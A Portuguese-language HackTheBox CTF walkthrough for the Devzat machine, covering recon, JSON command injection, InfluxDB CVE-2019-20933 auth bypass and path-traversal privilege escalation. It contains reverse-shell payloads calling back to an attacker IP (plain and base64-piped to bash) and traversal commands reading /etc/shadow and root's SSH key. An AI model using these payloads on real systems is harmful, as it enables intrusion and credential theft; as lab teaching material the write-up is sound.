> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # Relato do HackTheBox Devzat {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Diretório de Fuzzing * Injeção na Web (RCE) * Explorando o InfluxDB (CVE-2019-20933) * Explorando o comando /file do Devzat Chat (Escalação de Privilégios) {% endhint %} ## Reconhecimento: **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**Análise de portas abertas com extractPorts:** Usando a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80.8000)

Varredura de versão de portas com Nmap: Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

### Porta 80

Usando `whatweb`, encontramos um e-mail associado ao site: `patrick@devzat.htb`.

A aplicação também nos informa que podemos usar a porta 8000 para conectar via SSH ao "chat": ```bash ssh -l [username] devzat.htb -p 8000 ```

### Porta 8000: Tentamos nos conectar, mas ocorre um problema porque é necessária uma chave SSH: ```bash ssh -l jordan devzat.htb -p 8000 ```

**Forçando temporariamente o uso de SSH-RSA:** Especificamos o tipo de chave SSH a ser usado nesta sessão com a seguinte opção: ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **Projeto Devzat (Chat SSH) :** {% hint style="info" %} Devzat é um servidor SSH personalizado que se conecta a um chat em vez de um prompt de comando. Como aplicações SSH estão disponíveis em todas as plataformas (incluindo celulares), você pode se conectar ao Devzat a partir de qualquer dispositivo. {% endhint %} Aqui está uma lista de comandos que podem ser executados neste chat:

### Fuzzing **de diretórios:** Usamos `gobuster` para listar diretórios no site: ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Nenhum resultado interessante foi encontrado.

### **Fuzzing de subdomínios** Pesquisamos subdomínios com `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` Descobrimos o `pets.devzat.htb` subdomínio e adicioná-lo ao `/etc/hosts` arquivo.

## **Vulnerabilidade (RCE) JSON :**

Temos a possibilidade de adicionar "pets" com suas espécies, o que permite uma injeção JSON.

Interceptamos requisições com o Burp Suite e tentamos manipular a requisição adicionando uma entrada com nome e espécie:

Essa entrada é interpretada, permitindo uma injeção. ```json { "Nome": "jordan", "Espécie": "jordan" } ```

Escutamos trilhas ICMP para observar comunicações e testar injeções de comandos: ```bash sudo tcpdump -i tun0 icmp ``` Recebemos um ping de volta, o que confirma a possibilidade de execução remota de código.

Então enviamos uma requisição com `curl` para o nosso servidor Python e também recebemos uma requisição, o que confirma a vulnerabilidade de execução remota de código. ```bash { "Nome": "jordan", "Espécie": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\"" } ```

### Shell reverso Tentamos criar uma reverse shell: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` No entanto, ocorre um erro na saída.

**Solução do erro (reverse shell):** Para resolver esse erro, criamos um arquivo HTML contendo a reverse shell, que codificamos em base64: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` Convertendo esse arquivo para base64: ```bash base64 -w 0 index.html ```

Na consulta, executamos o echo da string base64 codificada e a decodificamos antes de executar o shell: {% code overflow="wrap" %} ```bash { "Nome": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} Mais uma vez, escutamos a porta 443 e obtemos uma shell invertida.

#### **Manipulação do terminal:** Para estabilizar nossa sessão, usamos os seguintes comandos: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Escalada de privilégios Observamos a necessidade de privilégios elevados. Precisamos fazer pivot para obter acesso à `catherine` conta de usuário.

#### Identificação de Portas Abertas Primeiro, observamos as portas abertas internamente usando o seguinte comando: ```bash netstat -nltp ``` As portas abertas são: * 8086 * 8443 * 5000

### Redirecionamento de Portas (SSH) Redirecionamos portas internas para nossa máquina de ataque usando a chave privada do usuário e aplicando as permissões corretas: ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` Então usamos `nmap` para escanear as portas redirecionadas: ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### Porta 5000:

Observamos que essa porta está ligada ao mesmo serviço encontrado na porta 8000, o que não nos dá um caminho adicional de exploração.

### **Porta 8086 (InfluxDB)** O serviço na porta 8086 é o InfluxDB, versão 1.7.5. Identificamos uma vulnerabilidade de Execução Remota de Código (RCE) no InfluxDB:

**Vulnerabilidade :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} Essa vulnerabilidade permite contornar a autenticação usando um token JWT cujo `SharedSecret` está vazio (também conhecido como segredo compartilhado), o que nos dá acesso ao banco de dados. {% endhint %}

#### Acesso ao banco de dados Uma vez conectado ao InfluxDB, listamos os bancos de dados disponíveis: ```sql SHOW DATABASES; ``` Selecionamos o `devzat` banco de dados e exploramos os dados dos usuários. Começamos listando as "medidas" (tabelas): ```sql SHOW MEASUREMENTS; ``` O **`usuário`** contém informações úteis. Para explorar as colunas dessa medida, executamos: ```sql SHOW FIELD KEYS FROM "user"; ``` Em seguida, exibimos os 10 primeiros resultados para a `usuário` tabela: ```sql SELECT * FROM "user" LIMIT 10; ```


senha	nome de usuário
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

A senha da usuária catherine é **`woBeeYareedahc7Oogeephies7Aiseci`**, o que nos permite recuperar a **flag** usuário. ### Flag user.txt :) Conseguimos acesso com sucesso e fazemos pivot como `catherine`.

### Porta 8443 (Devzat - Produção) A porta 8443 é dedicada a uma instância de produção do Devzat. Observamos que um `arquivo` parâmetro lista todos os arquivos do sistema como root. No entanto, o acesso a esse recurso é protegido por senha.

Tentamos usar a senha da catherine, mas falha. Agora precisamos procurar arquivos que catherine possa ler no sistema.

### Procurar Arquivos Acessíveis pela Catherine Usamos o seguinte comando para procurar todos os arquivos legíveis pela catherine: ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` Encontramos dois `.zip` arquivos de backup: * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` Baixamos o arquivo `devzat-dev.zip` arquivo de backup e filtramos seu conteúdo em busca de senhas. Encontramos uma senha útil: **`CeilingCatStillAThingIn2021?`**.

Em seguida, tentamos usar essa senha para acessar o `/etc/shadow` arquivo via o `arquivo` parâmetro: ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` Embora a senha esteja correta, um **caminho relativo** é necessário para obter acesso total. Usamos o seguinte comando para navegar pelo sistema de arquivos:

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` Conseguimos exibir o `/etc/shadow` arquivo como root.

### Acesso SSH como Root Por fim, usamos um caminho relativo adicional para acessar a chave SSH do root: ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

Baixamos a chave SSH e nos conectamos como root.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.